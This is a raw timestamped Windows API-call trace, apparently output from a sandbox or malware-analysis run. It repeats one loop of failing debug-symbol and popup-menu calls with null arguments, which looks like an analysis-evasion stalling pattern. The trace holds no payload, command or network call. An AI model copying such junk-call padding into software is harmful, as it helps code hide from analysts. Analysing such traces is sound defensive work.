[0140.926] SetLastError (dwErrCode=0x579) [0140.926] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.926] SymCleanup (hProcess=0x0) returned 0 [0140.926] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.926] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.926] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.926] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=831, param_4=28, param_5=0x0, param_6=0x0) returned 0 [0140.926] GetLastError () returned 0x579 [0140.926] SetLastError (dwErrCode=0x579) [0140.926] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.926] SymCleanup (hProcess=0x0) returned 0 [0140.926] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.926] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.926] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.926] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.926] GetLastError () returned 0x579 [0140.926] SetLastError (dwErrCode=0x579) [0140.926] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.926] SymCleanup (hProcess=0x0) returned 0 [0140.926] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.926] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.926] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.926] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.927] GetLastError () returned 0x579 [0140.927] SetLastError (dwErrCode=0x579) [0140.927] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.927] SymCleanup (hProcess=0x0) returned 0 [0140.927] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.927] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.927] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.927] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.927] GetLastError () returned 0x579 [0140.927] SetLastError (dwErrCode=0x579) [0140.927] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.927] SymCleanup (hProcess=0x0) returned 0 [0140.927] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.927] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.927] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.927] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.927] GetLastError () returned 0x579 [0140.927] SetLastError (dwErrCode=0x579) [0140.927] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.927] SymCleanup (hProcess=0x0) returned 0 [0140.927] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.927] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.927] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.927] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=111, param_4=557, param_5=0x0, param_6=0x0) returned 0 [0140.927] GetLastError () returned 0x579 [0140.927] SetLastError (dwErrCode=0x579) [0140.928] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.928] SymCleanup (hProcess=0x0) returned 0 [0140.928] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.928] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.928] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.928] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.928] GetLastError () returned 0x579 [0140.928] SetLastError (dwErrCode=0x579) [0140.928] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.928] SymCleanup (hProcess=0x0) returned 0 [0140.928] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.928] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.928] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.928] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.928] GetLastError () returned 0x579 [0140.928] SetLastError (dwErrCode=0x579) [0140.928] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.928] SymCleanup (hProcess=0x0) returned 0 [0140.928] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.928] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.928] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.928] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.928] GetLastError () returned 0x579 [0140.928] SetLastError (dwErrCode=0x579) [0140.928] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.928] SymCleanup (hProcess=0x0) returned 0 [0140.929] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.929] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.929] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.929] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.929] GetLastError () returned 0x579 [0140.929] SetLastError (dwErrCode=0x579) [0140.929] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.929] SymCleanup (hProcess=0x0) returned 0 [0140.929] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.929] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.929] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.929] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1106, param_4=643, param_5=0x0, param_6=0x0) returned 0 [0140.929] GetLastError () returned 0x579 [0140.929] SetLastError (dwErrCode=0x579) [0140.929] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.929] SymCleanup (hProcess=0x0) returned 0 [0140.929] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.929] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.929] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.929] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.929] GetLastError () returned 0x579 [0140.929] SetLastError (dwErrCode=0x579) [0140.929] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.929] SymCleanup (hProcess=0x0) returned 0 [0140.929] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.929] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.930] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.930] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.930] GetLastError () returned 0x579 [0140.930] SetLastError (dwErrCode=0x579) [0140.930] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.930] SymCleanup (hProcess=0x0) returned 0 [0140.930] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.930] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.930] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.930] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.930] GetLastError () returned 0x579 [0140.930] SetLastError (dwErrCode=0x579) [0140.930] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.930] SymCleanup (hProcess=0x0) returned 0 [0140.930] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.930] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.930] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.930] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.930] GetLastError () returned 0x579 [0140.930] SetLastError (dwErrCode=0x579) [0140.930] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.930] SymCleanup (hProcess=0x0) returned 0 [0140.930] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.930] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.930] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.931] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=816, param_4=43, param_5=0x0, param_6=0x0) returned 0 [0140.931] GetLastError () returned 0x579 [0140.931] SetLastError (dwErrCode=0x579) [0140.931] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.931] SymCleanup (hProcess=0x0) returned 0 [0140.931] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.931] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.931] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.931] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.931] GetLastError () returned 0x579 [0140.931] SetLastError (dwErrCode=0x579) [0140.931] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.931] SymCleanup (hProcess=0x0) returned 0 [0140.931] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.931] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.931] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.931] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.931] GetLastError () returned 0x579 [0140.931] SetLastError (dwErrCode=0x579) [0140.931] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.931] SymCleanup (hProcess=0x0) returned 0 [0140.931] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.931] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.931] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.931] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.932] GetLastError () returned 0x579 [0140.932] SetLastError (dwErrCode=0x579) [0140.932] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.932] SymCleanup (hProcess=0x0) returned 0 [0140.932] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.932] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.932] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.932] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.932] GetLastError () returned 0x579 [0140.932] SetLastError (dwErrCode=0x579) [0140.932] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.932] SymCleanup (hProcess=0x0) returned 0 [0140.932] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.932] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.932] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.932] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1028, param_4=312, param_5=0x0, param_6=0x0) returned 0 [0140.932] GetLastError () returned 0x579 [0140.932] SetLastError (dwErrCode=0x579) [0140.932] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.932] SymCleanup (hProcess=0x0) returned 0 [0140.932] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.932] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.932] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.932] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.932] GetLastError () returned 0x579 [0140.933] SetLastError (dwErrCode=0x579) [0140.933] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.933] SymCleanup (hProcess=0x0) returned 0 [0140.933] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.933] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.933] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.933] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.933] GetLastError () returned 0x579 [0140.933] SetLastError (dwErrCode=0x579) [0140.933] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.933] SymCleanup (hProcess=0x0) returned 0 [0140.933] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.933] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.933] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.933] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.933] GetLastError () returned 0x579 [0140.933] SetLastError (dwErrCode=0x579) [0140.933] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.933] SymCleanup (hProcess=0x0) returned 0 [0140.933] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.933] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.933] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.933] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.933] GetLastError () returned 0x579 [0140.933] SetLastError (dwErrCode=0x579) [0140.933] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.934] SymCleanup (hProcess=0x0) returned 0 [0140.934] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.934] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.934] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.934] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=962, param_4=440, param_5=0x0, param_6=0x0) returned 0 [0140.934] GetLastError () returned 0x579 [0140.934] SetLastError (dwErrCode=0x579) [0140.934] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.934] SymCleanup (hProcess=0x0) returned 0 [0140.934] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.934] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.934] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.934] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.934] GetLastError () returned 0x579 [0140.934] SetLastError (dwErrCode=0x579) [0140.934] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.934] SymCleanup (hProcess=0x0) returned 0 [0140.934] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.934] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.934] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.934] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.934] GetLastError () returned 0x579 [0140.934] SetLastError (dwErrCode=0x579) [0140.934] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.934] SymCleanup (hProcess=0x0) returned 0 [0140.934] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.934] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.935] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.935] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.935] GetLastError () returned 0x579 [0140.935] SetLastError (dwErrCode=0x579) [0140.935] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.935] SymCleanup (hProcess=0x0) returned 0 [0140.935] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.935] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.935] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.935] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.935] GetLastError () returned 0x579 [0140.935] SetLastError (dwErrCode=0x579) [0140.935] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.935] SymCleanup (hProcess=0x0) returned 0 [0140.935] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.935] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.935] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.935] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=121, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0140.935] GetLastError () returned 0x579 [0140.935] SetLastError (dwErrCode=0x579) [0140.935] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.935] SymCleanup (hProcess=0x0) returned 0 [0140.935] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.935] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.935] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.936] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.936] GetLastError () returned 0x579 [0140.936] SetLastError (dwErrCode=0x579) [0140.936] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.936] SymCleanup (hProcess=0x0) returned 0 [0140.936] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.936] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.936] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.936] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.948] GetLastError () returned 0x579 [0140.948] SetLastError (dwErrCode=0x579) [0140.948] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.948] SymCleanup (hProcess=0x0) returned 0 [0140.949] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.949] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.949] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.949] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.949] GetLastError () returned 0x579 [0140.949] SetLastError (dwErrCode=0x579) [0140.949] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.949] SymCleanup (hProcess=0x0) returned 0 [0140.949] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.949] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.949] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.949] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.949] GetLastError () returned 0x579 [0140.949] SetLastError (dwErrCode=0x579) [0140.949] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.949] SymCleanup (hProcess=0x0) returned 0 [0140.949] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 